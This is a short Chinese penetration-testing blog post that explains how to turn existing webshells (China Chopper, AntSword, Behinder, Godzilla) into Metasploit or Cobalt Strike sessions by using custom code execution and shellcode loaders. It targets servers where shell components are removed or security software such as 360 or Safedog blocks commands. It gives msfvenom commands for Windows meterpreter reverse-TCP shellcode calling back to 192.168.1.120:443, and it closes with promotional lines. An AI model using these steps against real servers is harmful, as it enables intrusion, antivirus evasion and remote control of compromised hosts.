前言

这篇文章我们主要介绍的是如何利用常用Webshell管理工具中的自定义代码执行功能来上线MSF，附带了中国蚁剑、冰蝎和哥斯拉的内存加载上线，实战渗透中如果遇到以下场景时可尝试文中方法绕过。

仅支持ASP，WScript.Shell、Shell.Application组件被卸载；又或者支持ASP.NET，但是存在有某些安全防护软件（360、云锁、安全狗等），在这两种场景下可能无法执行命令、上线和提权等。

中国菜刀中并没有直接上线和shellcode加载功能，但是有一个自定义代码执行，我们可以利用这个功能来获取MSF会话。

中国蚁剑和菜刀一样，也可以利用As-Exploits后渗透插件中的执行自定义Payload功能来获取MSF会话。

如果目标主机支持ASP.NET和JSP脚本，我们也可以利用As-Exploits插件中的ShellCode加载器功能来上线CS或MSF，只需生成hex格式的shellcode即可，c、csharp的还需要做些处理。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f hex

冰蝎不仅可以利用自定义代码执行功能来获取MSF会话，也可以使用反弹shell功能来获取CS/MSF会话，但是不支持ASP脚本。

目标仅支持ASP脚本时我们可以利用哥斯拉中的代码执行功能来获取MSF会话，加密器用的ASP_RAW，其他的加密器还请自测。

利用ShellcodeLoader获取会话时需要先生成一个C的shellcode，将\x和"及多余字符都删掉，只需留下hex shellcode即可，然后再依次点击load加载和run运行就能获取到会话。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f c

欢 迎 加 入 星 球 ！

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么？赶紧点击下方名片关注学习吧！